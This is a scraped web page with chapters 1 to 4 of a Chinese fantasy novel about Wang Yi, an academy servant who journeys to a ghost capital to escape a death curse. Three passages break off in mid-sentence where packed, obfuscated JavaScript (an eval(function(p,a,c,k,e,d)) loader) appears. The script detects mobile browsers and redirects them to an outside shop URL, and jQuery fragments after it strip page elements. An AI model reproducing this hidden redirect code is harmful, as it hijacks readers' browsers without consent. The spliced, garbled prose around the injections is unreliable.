《功德煞》 1. 半夜堂前入梦来 皓月当空,星辰疏朗,青云书院的圣人堂,一簇烛火将周遭的塑像映得忽明忽暗。 木制陈旧的水桶旁,妄一记不得自己是第几次走神了,她手上还绞着滴水的帕子,回神的瞬间,天已然黑透。 堂内宁静至极,偶有外面凉风摇乱竹影的声音。她猛地拍了下额头,暗骂自己怎么又心不在焉?明日是书院一年一度的招生会,罗管事多次叮嘱,凡她负责之处皆不许敷衍了事。 台上列坐的圣人像无一不是慈眉善目的之样,妄一深吸一口气,提起精神,抓着脏抹布多次来回,确保最后一尊也一尘不染了,才扶腰歇了口气。 算来她今日整整一天都未进食,中途只喝几口水便坚持到现在。 妄一未有在意,料是书院招生在即,精神紧张影响食欲,只待清扫完毕,回屋休息一晚即可。 然而她刚起身,一阵夜风窜入,带着山间的清寒,香案上一支蜡烛无端扑灭,光辉霎时消散一半。 圣人堂常年点着香火,最是不能短缺,她欲上前重新点燃,刚走进,一丝奇妙的香气萦绕鼻尖。此香之温润醇厚,夹杂着难以言喻的诱惑,竟勾得她肚子“咕噜”叫了两声。 这香烛是书院特意为圣人采买的,与寻常烛火大有不同。到底奇在何处?妄一回看时,着魔似的地咽了下口水。 外面圆月高悬,洒下的冷光驱不散案前的荒诞。 光与热的交织下,烛火的香气指引她贴近。 妄一目光炙热,突然心生猜想——只要将这香烛吸食上一口,就能马上消解所有的疲惫。 火焰晃动,映照她苍白的面容,她攀附在香案,鬼使神差地伸出手。 在将要得逞之际,一滴滚烫的蜡油及时拉回她滑落的神志。 妄一瞪着眼睛,惊恐不已,她无法解释自己的行为,想跪下同圣人赔罪,可膝盖怎么都弯不下,僵硬得如同被拐杖架着。 茫然抬头,坐台上的圣人不知何时泯去和善之相,慈眉善目化为横眉怒目,带着刺骨的厌恶怒视她。 “啊!” 妄一尖叫一声,踢翻脚边水桶,鞋子浸湿一只,逃也似的跑出去。 她大喊管事,又高声直呼山长,往日灯火通明的廊道漆黑一片。冷风吹过,檐下铜铃作响,整座书院如一座巨大的坟墓。 妄一慌不择路奔下山去求助,四月的夜已不寒冷,山路万籁俱寂无半点虫鸣,耳边只有风声以及脚步声。慌张之下,她被一块拦路石绊了一跤。 沙石擦破膝盖,疼痛与恐惧蔓延,她没忍住,脑袋埋进臂弯放声大哭。 她的手是冷的,脸是冷的,就连泪水也是冷的,搓了搓手,掌心一点热量也没有。 “嘻嘻,别费劲啦,你都快死啦,早点躺土里省力气吧!”一道调皮的孩童声突然响起。 妄一猛地抬头,颤声问:“谁......谁在哪里?!” 风飒飒响起,那声音又调皮道:“别找啦,别找啦,我就在这里呀,你看看我,我是你旁边那块岩石呀!” 岩石怎么会说话? 妄一往边上探去,就在她刚才摔倒的路中央,一块拳头大的岩石正笑眯眯地看着她。 之所以说它在笑,是因为石头上长了一副五官,有人注意到它,它还兴奋地眨了眨眼睛。 好诡异的场景,妄一从小就听罗管事说,书院建在山上,附近多是深林,少不了精怪修炼。若有学子心术不正,半夜便会化作落魄小姐前来乱人心志。 石头怪轻蔑道:“啧,瞧你没出息的样儿,你当我稀罕搭理你?不过是看你快成走尸了,又哭得这般伤心,我在积福德,不劝你两句,怕过意不去。” 走尸?妄一满脸不解。 石头怪冷笑,说人固有一死,她现在是回光返照,甚至还打包票,最迟明天一过,她就死翘翘! “你......你胡说八道!你凭什么肯定明天是我的死期?”妄一握紧拳头,大着胆子反驳道。 “哈哈,你不信呀?”石头怪狡黠道,“你刚刚不是觉得那香烛美味极了吗?” 一语正中眉心,妄一仿佛被抓到小辫子:“你偷窥我?!” “嘿!这是重点吗?我好心给你指点迷津呐,你还不领情。”石头怪有些不高兴,想了想还是勉强大度道,“算了,我不和你一般计较,你对我戒备十足,无非是怕我要吃你,但我修行吸的是日月精华,肉自带荤腥之气,二者不可相比,何况以你的肉身,啧啧,口味想必十分糟糕。” 妄一不想搭理,她潜意识里认为精怪最擅长哄骗,十句有一句是真的,都算这族里的实诚人。 那石头急了,叫道:“喂,你是我看着长大的,虽然来历有些神秘,但我知道你身上诸多秘密,哦对了,你不知道吧,那可怜娘也是因你才横死的!” “......我娘?”妄一皱起眉,她是弃婴,十七年前被书院学子捡到才得以活命,她对亲人没有任何记忆。 “你别不信,我一看你就知道是个害人精,印堂发黑不像长命,只不过运气好,有高人强行给你续命!”它酸溜溜地道,“那人本事大的嘞,逆天改命把你的魂魄与肉身紧紧绑在一处,即便你后来死了,灵魂也不能自行脱离,说说吧,你都给人啥好处了?” 妄一越听越糊涂:“什么续命?谁会帮我续命?!” “你问我,我问谁?我区区一精怪管得了许多?”石头怪翘着嘴,“但你如果想活下去,我有个办法,你听不听?” 妄一抿起唇似在权衡,石头怪转了转眼睛,和她打起商量。 “你把我搬去山顶,我自会告诉你。我也真倒霉啊,几月前被那场暴雨冲到这破山道来,说到底咱们算有缘啦!” 妄一本不想轻信别人,何况那还算不上人,但这精怪字字句句都戳中了她的好奇。 石头怪不容她磨叽,大喊:“快没时间了,要知道你错过本大爷我,就只能等死啦!” 它焦急地催促着,妄一心中一动,它要人帮忙才能上山,是否意味它自身其实无法移动?既如此,她有危险大不了甩手将它抛下,反正它也长不出脚来追她。 妄一终于点头应下,石头怪大喜过望,石面上的嘴巴笑得咧到了耳根。但让人没想到的是破石头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963670|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着不大,妄一去捧它时才知奇沉无比。 山路难走,她一步一步,摇摇晃晃。爬上来后,更是手臂发酸,累得喘不过气。 “哈哈,本大爷终于回来了,还是我老家的月光好闻呐!”石头怪得偿所愿,在月光下贪婪地呼吸空气。 它随一场暴雨滚下山坡,换了个地方固然新鲜,但那里只能吸收半天的月光,好生妨碍修炼。 妄一瘫坐在旁,石头怪体恤她辛苦,甩出个小纸团。 “给你的谢礼,你帮了我,我不会让你吃亏。你的来历本大爷不知道,但纸团里的东西是个好宝贝,你回去打开看看,八成能解你的疑惑啦。” 妄一拿起纸团,扯了扯边角,怎么都打不开。以为是被戏弄了,她拉下脸来要质问,石头却渐渐扩大体型。 它从西瓜大变成脸盆大,再后来像屋子那样大,但仍不满足,还在一直大下去,大下去,仿佛要演化出一座巨山。 那张硕大的石头脸,半张朝明,半张朝暗,冷冷地凝视她。 妄一尖叫一声,从梦中惊醒。她后背全然浸湿,睁眼发觉自己睡在香案前,烛火摇曳,圣人像眉目依旧。除了......她手里多了个纸团。 “妄一,我怎么和你交代的?你好大的胆子,圣人面前还能睡着!”罗管事的斥责自头顶传来,“你不是头一天干活了,不必样样要人教你。换做平时,你偷个懒没酿成大错,我睁一只眼闭一只眼也放过了,可你今晚还敢懒散懈怠!” 罗管事长长短短责骂好一会儿,妄一没有顶撞,她一心想着那颗怪石头,只盼书院的人都快歇下,她好看看手中纸团是怎么回事。 罗管事见她不吭声,便当她在诚心悔过,训完觉得口渴,多瞪几眼也不愿再折腾了。 妄一将其送出门,堂内重归宁静。 她轻轻一扯纸团,梦里打不开的东西,此刻轻易舒展开来。 里面裹着一颗水晶种子,手指一触碰它,使用方法前仆后继地涌入脑海——种下种子,可通神欲鬼京,寻苍鸯殿,解生死劫。 次日天明,书院晨钟袅袅之际,妄一悄悄溜出去,直奔梦中的那座山头。 上去后才知那是个风烟俱净之地,且周遭并无怪异之石。 梦中亦真亦假,妄一一刻都不敢耽搁,她将种子埋进土壤,默念脑海中的咒语。 种子猛然窜出芽儿,随后冲天狂长,枝蔓交缠成一座直冲云霄的天梯。 此等奇境,除却将种子埋下之人,其余凡人皆无可见。 求生之路注定艰辛,藤蔓六个时辰后自动枯萎。天梯一撤,爬到哪儿就从哪儿摔下来,是福是祸全看自己的造化。 远处的书院,背着行囊的学子络绎不绝地走进大门。山长站在楼阁上,看向山的那处。 罗管事进来道:“山长,招生会准备就绪,只等您露面。” 微风阵阵,吹动山长的衣袍,他没有立即应答,远眺一会儿,似是自言自语:“有些人,注定要为命运远行啊。” 罗掌事顺着山长目光看去,远山含黛,云雾缭绕,除此之外,什么都没看到。 2. 入得鬼京问缘由 此时的鬼京大街万众齐欢,一眼望不到尽头的善恶大道,两旁挂满大红灯笼,浩大的队伍从苍鸯殿陆续走出。有敲锣打鼓的青面獠牙鬼,也有提着万花灯在前面起头的红衣骷髅鬼。每走百步,便有小鬼在边上点起烟花爆竹。 城楼上一阵又一阵盖天的钟声,说是群妖乱舞都不为过。 此地动静之大,九重天上仙云缭绕,众仙官皆探头张望。 众所周知,今日鬼京这般热闹,只因白水娘娘的生辰到了。 众鬼组建巡游队伍,参与者三百五十六名鬼怪经过层层选拔。他们从苍鸯殿出发,走至善恶大道街尾,绕行鬼京城一圈,阵势极为浩荡。 队伍中央有一辆金框镶边,白玉为底的香车,车前挂两盏人头骷髅灯,四角鬼火粼粼。 两道妖鬼争前恐后地向香车招手,数名威武壮硕的男鬼,面戴赤脸谱,挥棒喝退。 香车内,白水娘娘倚在锦绣玉莲软枕上,身穿描金火红祥云裳,云纹随着她的动作轻轻晃动,华贵又张扬。 她一手托腮,一手执烟杆。眉眼清秀施浓妆,童颜华发生。 “娘娘,您瞧瞧外面,他们都在向您欢呼呢。您的声望和威名,是咱鬼京的第一!” 同座的独眼嬷嬷兴高采烈,可主位上的人并不感兴趣,始终闭着双目,抽着烟袋,不理分毫。知道的是娘娘在过生辰,不知道的还以为只是群怪在过节。 独眼嬷嬷耐心劝说:“娘娘,您朝外看一眼呐,今是您庆生的日子,别再想公事了,好好放松吧。” 闻言,白水娘娘缓缓睁开双目,水灵灵的眼睛漆黑空洞,如一口幽深的水井,寻不见眼白。 她轻吐一口烟圈,不顾外边繁华喧闹,而是轻声开口:“停车,回宫。” 独眼嬷嬷一惊,刚要开口询问缘由,娘娘便轻轻笑起,说:“有客人来了。” 花开两朵,各表一枝。 天梯陡峭,毫无遮挡的半空,耳边有呼呼风声。爬了许久,妄一唇角已微微开裂,发丝也稍显凌乱,她挥起袖子扇了扇风,又要拔腿赶路。 许是真的精疲力尽,她复行数十步,体力休克的瞬间,眼前迷迷糊糊断断续续闪过几个影像,有书院学子念诗的画面,有她抬水洒扫院子的画面,还有路遇石头怪的,直到闪现圣人生气的脸,她陡然惊醒。 天又黑了。 她浑身冷汗津津,倘若没记错,她刚刚还在天梯,这里是哪儿?是阴曹地府吗? 不远处的空地矗立一座巨大石碑,碑身古朴斑驳,透着一股厚重的沧桑感。 她忍着腿脚不适过去看,碑上刻的赫然是“神欲鬼京”四个大字。 心中的阴郁一扫而光,太好了,一番周折,她终是寻到此处! 平地忽起大风,她牢牢抱住石碑。 可风没有要停歇的意思,混沌中像有许多人拉扯,把她的手生生扒下来。 天昏地暗之间,她像被风卷到天上,经过天旋地转,胃里的酸水不停翻腾。 再睁眼,四周风景已是更迭,她身处于某座金殿之中。 放眼望去,殿内格局宽敞,穹顶高耸,最显眼的是两侧八根玉白石柱,每根柱子上雕刻着不同的图案,有厉鬼降世之图,也有众怪拜月之像。 她想靠近细看,又被一阵刺耳的尖叫声吸引。 那声音,不像女人,也不像男人。 左面那堵墙上排满柜子,像是人间药铺,列得密密麻麻。而声音正是来自柜前悬挂的一盏人皮灯笼,它似乎享有生命,疯狂地左右摇摆,引起注意。 只是没喊多久,横空劈来一只毛笔,直接捅穿它的皮,如此得以消停。 妄一望向毛笔飞来的方向,一张宽大的书案上堆满纸张卷轴等物品,两名鬼仆垂手而立,一位白发女子手托烟杆,饶有兴趣地看她。 妄一强压下心底的惊慌和诧异,斗胆问他们是谁? 独眼嬷嬷欲斥她无礼,白水娘娘轻抬手掌,示意无关人等退下。 殿内静得落针可闻,座上女子笑道:“妄一啊妄一,你来了我的地盘,乃一场机遇啊。”她面容可亲,但那双漆黑的眼睛无形中给人压力。 妄一谨慎地问:“你......你认识我?” “算吧,也可以说不算。石头怪给你的种子就是从我垂星草上掉下去的,你一把它种下,我在鬼京远远就知道了。”女主人露出意味深长的笑,好似有看破一切的能力,“你来是为了活命,也是为了你的身世,对吗?” 妄一点点头,不禁猜想座上的这位难道就是神明? 那人无奈一笑,道:“早知如此,何必当初。你前世闯下祸端,天道难以容你,你本没机会转世,不过有人拼死护你,才让你活到至今。” 妄一听得浑身发冷,她在青云书院当杂役,哪来的祸端?她一概不知情! “哈,你以为我在诓你吗?”白水娘娘一跃跳下书案,落人跟前。她白发如银,因身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963671|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材只有十岁姑娘大小,便悬在离地两尺的半空,俯视来人。 “那是你前世的恩怨,你投了一次胎,全部忘了个光,但不意味着就能一笔勾销。虽说你闯的祸是有些难以收场,不过我也能理解你。” 妄一满心不解,想询问她究竟做过什么? 白水娘娘却伸手指贴在红唇上,轻轻嘘了一声,说:“别问那么多,天道也不许我多说。时间有限,你我既然有缘,来了我自会帮你。就当是......为了某个人吧。” 妄一更糊涂了,那个人又是谁?和帮她续命的是同一个吗? 白水娘娘只高深莫测地说此乃天道加在她身上的诅咒,注定活不长久,还坦言自己并无三头两臂,只能去各处打点,让她暂时留在十七岁。 “让你岁数暂停是做拖延之用,你留在鬼京赎罪,以功相抵,要怎么做,都得看你自己。赎清罪孽后,诅咒自然解开。你想知道的一切,也会得到答案。”白水娘娘提点道,“但是苍鸯殿并非慈善堂,我若为此破例,他日人人有难处,恐怕都要找上我了。” “......我知道。”知道天下没有白得的午餐。妄一鼓足勇气问:“您要什么,开口就是。”反正她也没有别的选择。 “好,你倒是个爽快人。”白水娘娘笑颜一展,“你放心,我要的东西对你来说没什么用,也不贵重。” 她没挑明,只含糊其辞说是有关妄一的前世。 既是前世的东西,人想活在今世,就该为今世着想。何况她都命不久矣了,还管那些作甚? “你答应就好,但我事先和你讲清楚,虽然我的本事在一行人里算得上熟练,可是从人身上抽取东西,过程仍免不了有些疼痛。我尽量快点,你且忍忍吧。” 不等人回应,白水娘娘眼神一变,未打招呼就开始了。 神魂飘离,头脑昏涨,无数光辉环绕下,有什么东西想从妄一身上钻出来,疼得她额头冒出细小汗珠,不自觉咬紧牙关。 一缕白雾游丝缓缓出体,白水娘娘运用那缕游丝,画了个印,一掌推向满柜子的墙。 东西被收进哪一格?妄一没看清,浑身就像被抽走了骨架似的,瘫软在地。 在将要昏死过去时,她看见白水娘娘收起之前慵懒的模样,端坐在书案前,执笔书写什么。 她看了眼地上几乎奄奄一息的人,声音毫无波澜道:“前尘俗事将一并随着你积攒的功德而抹去,从今以后你安心留在此地。” 3. 清秀少年红衣艳艳 神欲鬼京不同于阴曹地府,它处天地不管之界,不属天界管辖,其种族复杂,以鬼怪者居多。 某些生前作恶多端者,死后到地府会受一番酷刑,但逃到这里做劳务,就可抵消罪孽。也有部分鬼魅是看淡人世浮华,不愿再入轮回,将这里视作最后的安乐之地,把阴寿消耗殆尽。 但无论何人涌入,白水娘娘都愿同等对待。而她是何人者也?京中几乎无人知晓她的来历。 有人猜她是九重天上的仙官大人,每逢月末沐浴更衣,奔赴凌霄宝殿,汇报鬼京近况。也有人乐忠于反驳,说历来多少事,娘娘都和天庭对着干,若真是天帝臣子,早就被贬不下十次。 关于身份的话题,各大酒馆茶肆多有谈论,始终得不出满意结论。只知城中心矗立的壮阔宫殿,远观像座巨大的围城,内墙设有二十八门,除了正中间那道是娘娘的所在点,其他几门则另由几位大人管辖。 京中鱼龙混杂,经过苍鸯殿多年的治理维护,凡出入者皆需遵守相应法则,才有如今的安定祥和。 丽日融融下,御朝门内,掌事大人“承英”正坐椅上,翻看宗卷,时不时执笔圈点一二。 安静无声的环境里,纸上密密麻麻的字看久了,意识难免有些涣散。他放下宗卷,起身撩开帘子,伸了把懒腰。 苍鸯殿先前有位大人犯事关了禁闭,一干职务交由旁人代劳,承英就是其中之一。这下除了本职之事,还要转头去顾别人的事,虽然有些应接不暇,但他嘴角挂有一抹笑意,乐此不疲,甚至更希望那位就此去职除名,离开殿堂。 如若能成,他甘愿一辈子都这样繁忙。 可惜幻想总是美好的,他喝了口茶,稍作休息。今日是最后一次处理莲烨门的公务,别的倒没什么,就是有桩小麻烦卡在他的心头,随着时间的流逝,愈发叫人不安。 他朗声唤属下过来询问:“都过去几天了,追查的人还没消息吗?” “大人莫急。”小跑赶来的属下答道,“您也知逃了的那个,性情有多狡诈。大红小绿都已出马,再宽限点时间,定将其绳之以法!” 承英望着杯盏中漂浮的热气,感到力不从心,可着急也没用,只得扬扬手说:“那就让他们再快些,多喊点人过去,抓不到她,御朝门的马脚总露在外头,叫我夜长梦多。” “小的遵命!”那名属下哈了下腰,忙退出去。 承英转头将目光放到外面,他背着手,明媚的晴天里,他的心却不甚安定。 鬼京善恶大道,人流最是熙攘。街边摊贩众多,吃的玩的用的应有尽有。偶有生人混进来交易,本着“和乐”的原则,来人又身怀本领的,大伙都得过且过。 但时间长了,牙齿和舌头都要打架呢,谁与谁之间总有矛盾爆发。二者若皆脾气暴躁,挑起的嘴仗能叭叭半天没完。 “我先来的,你插队还指责我的不是,骷髅头你个没皮没脸的玩意儿,我为你感到羞愧!” “少唧唧歪歪倒打一耙!你站摊前半天掏不出铜板,买不起就别买了!” 繁华街道,骷髅头就和裂嘴怪大吵大闹。 一个馒头都能引发血案,他们的原因也很简单,只为争抢小贩盒里仅剩的一块豆沙糕。 二者骂得那个叫“专心致志”,吵得那叫个“不可开交”,稍一疏忽,被一小鬼见缝插针买走了,摊主悄咪咪收拾东西回家,骷髅头和咧嘴怪还在原地口水喷溅,吵架的中心也从“花钱买糕”转向了外貌攻击。 围观的路人越来越多,还有滑头鬼就地开设赌局。 咧嘴怪个子矮,站着跟别人坐着没差。一说话,嘴张得倒比河马都大。 “烂骨头,你裸奔也不是一天两天,有钱早去裁缝那儿买身皮囊了,没钱你就老实待在家,别出门上街!” 骷髅头气得够呛,他的确没穿衣服,因是一副骨架,才不需衣物掩饰。而且为了体现自己独特的品味,他还在白森森的骨头上画满花样。 “你没有高雅的修养就闭嘴,有时间跟我逼逼叨叨,不如去治治你的口臭!” 骷髅头一激动,上颚骨和下巴一张一合,像打快板。 他们互相揭短,戳对方的痛处。 咧嘴怪大吼:“你我今天算结下梁子了,待我把你骨头都打散,看你还敢不敢猖狂!” 骷髅头也不示弱地回道:“来就来,看我不把你嘴整个撕烂!” 看戏的群众沸腾起来,都跟着起哄道:“打呀打呀,快点打呀!” 咧嘴怪掐住骷髅头的颈骨,骷髅头两手捏住咧嘴怪左右脸颊的肉。 摆赌局的小鬼大声吆喝:“快快快,还有谁没下注?赶紧赶紧,要开局啦!” 街边楼阁,不少看官伸出脑袋唏嘘道:“他们疯了?要打也该找个僻静地啊!” 虽知此举影响城中风貌,但那两位气上心头,哪还顾得上挑地方?直到远处的精怪们一个接一个的“哎哟”声响起,有人被这阵声音吸引,都朝那方向望去。 远远的,那好像一枚跳动的火焰,再近些,原是一位长发束带,红衣艳艳的郎君。 他脚踩行人的肩头,迅速地往这儿赶来。 咧嘴怪一见此景,对着骷髅头又一阵谩骂。 “我就说你有什么本事跟我叫嚣,是请了帮手啊!” 骷髅头疑惑四起,他独身叱咤江湖多年,哪来帮手?正要反口回怼,那位郎君已翩然落地。 此人着一件曙红色暗纹窄身衣,脚踩玄色云头靴,编织细长的红绳发带自额前绕过,系在后面半扎的发髻。其面目之俊朗,站在一众高矮胖瘦的鬼怪里,令人眼前一亮。路过的精怪小姐见了他,情难自禁,躲在手绢后,羞答答地看他。 可街上的其他人不吃这一套,骷髅头率先出声:“小子不要多管闲事,哪儿凉快待哪儿去,这是我跟他的决斗,你想当出头鸟,小心我连你一块打进去!” 红衣郎君听闻,笑意绵绵道:“这么大的火气吗?” 这满不在乎的态度,让骷髅头极为厌恶。废话不多说,他当即拆下自己一根肋骨当武器,冲过去要暴打他。 纵观局势,咧嘴怪退到一旁偷笑,两军交战,他站边上歇歇,等差不多了再坐收渔翁之利,妙哉妙哉! 然红衣郎君唇角轻勾,一条玄色铁锁链带着寒光,哗啦啦的横空而出。没等骷髅头近身,锁链如盘蛇,将他身躯缠绕捆绑。力道之大,几乎要压弯那副柏森的骨架。痛得骷髅头不得不求饶,与刚才的口出狂言判若两样。 骷髅头一败仗,咧嘴怪仓皇而逃。 旁人不识这根锁链,他是识得的,确切来说,前不久在幽冥深巷还见过。 当时太阳西下,谁捣了深巷里的卖酒铺子,漫天火光中,寒光铁锁链卷了好几个犯事的鬼怪回苍鸯殿交差。次日邻里七嘴八舌地讨论,原来幽冥深巷卖了好几年假酒,被查出来后,店里的黑心鬼都被苍鸯殿的大人抓去服刑了。 咧嘴怪暗叹骷髅头大意,竟想跟锁链的主人一较高低,同时庆幸自己没有鲁莽行事,趁无人注意,他还是先溜为敬! 可他没问过那郎君的意思。 咧嘴怪的步子未迈出一步,红衣郎君长臂一伸把他扣住,两三下叠成了方正的豆腐块。 虽然大家都是成熟的妖魔鬼怪,但见郎君淡定外貌之下,竟能做出如此粗暴的事,不免起了一阵颤栗。怕会祸及旁人,路边的看客全部一哄而散。 郎君则坦然自若和他们道:“算你们走运,被我抓到聚众斗殴,扰乱治安。去城西种地还是收押进牢,一人挑一个地吧。” 被降服的两只精怪极具惊恐,一句话大概知晓了来者身份。 咧嘴怪保持豆腐块的形状,含糊嗓子说道:“大人,我们有眼不识泰山!那啥,刚刚我们是抱在一起,哥们儿亲热呢!” “是吗?”郎君森森然一笑,“你也不用心急,有什么废话留着去苍鸯殿说吧。”听这语气,是不想放过他俩。 身上的锁链缠得极紧,二怪面露死灰。红衣郎君招招手,一股无形的力量拖拽他们,想不跟着都不行。 进了苍鸯殿的大红宫门,来往鬼仆在广场上疾行,若与红衣郎君正面而遇,皆要矮身行礼。 郎君昂首阔步,咧嘴怪和骷髅头跌跌撞撞跟在后头。 骷髅头对红色背影拍了一路马屁,没一句管用。铁面郎君冷漠得紧,别说搭话,连回头看一眼的兴趣都无。 骷髅头咬了咬牙,索性放出杀手锏,哀嚎道:“大人喂!您放过我。我家床下有个泥瓦罐,里头装的是我毕生积蓄,您饶我一回,那些都可以孝敬您!” 有钱能使鬼推磨,郎君果真停了步子,转过身来瞧他,只是这目光带有探究意味,像在思考话里的真假。 肯施以眼神便是好事,骷髅头接着道:“还有我那屋后种的两个瓜,养的三只鸡,只要您高抬贵手,也都可以归您!” “哦,看不不出来,你还有些上道。”郎君微微一笑。 他伸出手,欣赏地摸了摸骷髅头的脑袋。骷髅头虽一身骨架都是画,因认为脑袋是天,不可乱动,所以仍保持原样,还三天两头往上面打蜡。 以郎君的转变,骷髅头料定此事有了七成把握,便想拉个腼腆的笑以示友好,可这副白骨无一点儿皮肉,无论愤怒还是悲伤,都是一个样。 “你能想到贿赂我,算勇气可嘉。但......”郎君话锋一转,声音变冷,“但我平常最痛恨你这等爱耍小聪明的人!看来你不能种地,也不能去牢里了。” 他翻脸的速度太快,骷髅头还拐不过弯来。 “那我要去哪儿?” “遣送回地府,交由鬼差安排吧!” “什......什么?” 骷髅头吓得脑袋落地,咕噜噜滚到人脚边。他好不容易瞒过鬼差,来到鬼京,现在回去,难保不会走一遭地狱。 一直沉默不出声的咧嘴怪早被吓成筛子,哆嗦不停。他不是被骷髅头“头身分离”吓坏的,而是见这位大人心肠狠戾,不由心生悲凉,为自己的命运而叹息。 “妄一!你出去遛弯又抓了人回来啊?”远处走来一名锦衣贵人。 他气宇轩昂,体格挺拔,手摇折扇,略显慵懒之态。能拥有仙家灵光, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963672|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能在苍鸯殿里闲逛,不是尘芳仙君还能是谁? 这位的身份不一般,生父“元乾神君”掌管十万兵将。原在凛海边界镇守数百年,后来世态安康,被调回天庭效命。 现今,神君大人除了身居要职,天上被流放的仙人也归他统管,只是事务忙碌,他分了这部分交尘芳打理。 可那几个落魄神,能经得起什么风浪?明眼人都知道,是元乾神君看儿子无所事事罢了。 被称作“妄一”的红衣郎君拱了拱手,道:“兴起出去一趟,见这二子在街上斗殴,顺道将他们抓来治罪。” “哦,这样吗?”仙君有所迟疑。 骷髅头还在发怔,咧嘴怪冲他大喊“救命!” “各位大人!都是误会啊,我俩怎会不知死活地要打起来呢?方才街上来回对骂,不过是涨涨气焰。我们知错了,求求大人给个机会吧!” 仙人应当是慈悲济世的,咧嘴怪不顾形象,喊得唾沫横飞。他知道这位仙君的出现,是他们最后的救命稻草。 尘芳见状,略带嫌弃道:“老弟,这妖怪坏是坏,但也挺可怜的。”他以扇掩面,凑近妄一耳边,劝道:“不懂你最近怎么斗志昂扬,听说这段日子每出去一次,就要抓点收成回来,连恨殊掌门都觉得你烦,照这样下去,说不定就该轮到你被贬去城西种地了呀!” 虽是调侃的语气,但仙君所言非假。他观妄一近期的丰功伟绩,特别是这个月,好像背负了计量的使命,出去就没有空手回来过。 其中最严重的当属一对猪精夫妇。男的指责妻子花钱大手大脚,买这么多衣裳,他要烧个精光。女的则叉腰骂丈夫不争气,没本事还埋怨女人爱买东西,要烧就烧,大不了今晚家里喝猪肉汤。 就是这么凑巧,让路过的妄一听见,当下翻进人家院子,说是为了避免酿成惨案,要把他们关起来冷静。 管牢房的狱卒还算清醒,说俩夫妻吵架罢了,又不是真要斗个你死我活,日常斗嘴也不失为生活的一种情调啊。 猪精夫妇看见黑乎乎的牢房,吓得猪心颤抖,没了吵架时的伶牙俐齿,马上变脸当着众人的面亲亲抱抱,以表伉俪情深。 谁知弄巧成拙,激怒了妄一,大骂他们不知羞耻,这下不顾狱卒相劝,直接扔进牢里一天一夜。 出狱后,夫妻俩把状告到恨殊门那里。 恨殊门管理苍鸯殿其他十二位掌门,为抚平民愤,让妄一闭门半月,并从锁金门支了一笔钱,补偿他们。 猪精夫妇也算厚道,拿了钱出去没在外边嚷嚷。 尘芳仙君会讲这些,都是为妄一老弟着想,其抿唇未做言语,仙君便自作主张敲了敲伏影锁,放了那俩精怪。 身上一松,骷髅头和咧嘴怪感激涕零,跪在地上连连磕头。 仙君悠然道:“以后你们可要继续做鬼京的良民啊,不然哪天莲烨大人兴致来了,你们就算躲到天涯海角,他也能伸长手将你们抓回来。” “是是是,您说的是!”俩精怪点头如捣蒜,生怕事后有变,道完谢溜得飞快。 白辛苦一场,妄一背着手叹了口气,道:“仙君大人,你这一回京就害我又浪费半天光阴。” 尘芳撇撇嘴,说道:“才半天罢了,权衡利弊,总比你又要被关禁闭强吧?我劝你放了他们,实则是帮了你呀。倒是你得管管脾气了,芝麻绿豆的事都把人抓来问罪......” 妄一侧目看他一眼,他和仙君相识多年,对方拿他当自己人看,但有些事,他深知是要自己扛的,于是道:“恪尽职守不好吗?倒是仙君怎么来苍鸯殿走动?之前不是说要去蓬莱仙岛待一段时间?” “是了是了!你不提,我差点要忘了来苍鸯殿干什么呢。”尘芳露出懊恼之色,“走走走,你跟我一起去,这件事重要,少不得你。” 妄一面容顿时严肃:“怎么了?你先和我说说,我看需不需要加派人手。” “......人手倒不必了,我们哥俩许久未去消遣,小道消息,今晚杏花楼开张,楼里有个水灵灵的姑娘,弹得一手好琵琶......喂喂喂!我还没说完呢,你就要走?”尘芳手慢,抓不住他。 走还算好呢,若不是碍于身份,妄一都想铁拳相向了。 苍鸯殿虽无明文规定掌门不可出入烟花场地,但相处几年,妄一是何许人,仙君还不清楚吗?每隔一段时间,他总是能厚着脸皮,进莲烨门捉人去喝花酒。 眼看兄弟要走远,尘芳紧追不舍道:“我把你当兄弟才喊你一同去,你别走呀,那新开的杏花楼花样可多了!” 本是一句不抱希望的挽留,妄一却真的顿了下脚步,作出考虑的样子。 他抓住重点,问仙君那句“新花样”是什么意思? “噢,你有所不知,新店开张可不得用新花样吸引宾客嘛?具体是什么,我也得今晚去了才知道。”尘芳信誓旦旦说道。 有他这句认可,妄一非喜好玩乐的性子,但心思百转之下,脑袋里哪根筋弯过来了,阔步回到仙君身边,咳嗽一声,道:“什么时候出发?那......按你说的,先去看看吧。” 4. 夜游探访杏花楼 鬼京的白昼,某些东西自觉隐退到角落,黑夜降临才是他们的狂欢时刻。 江水河堤,杨柳青青。 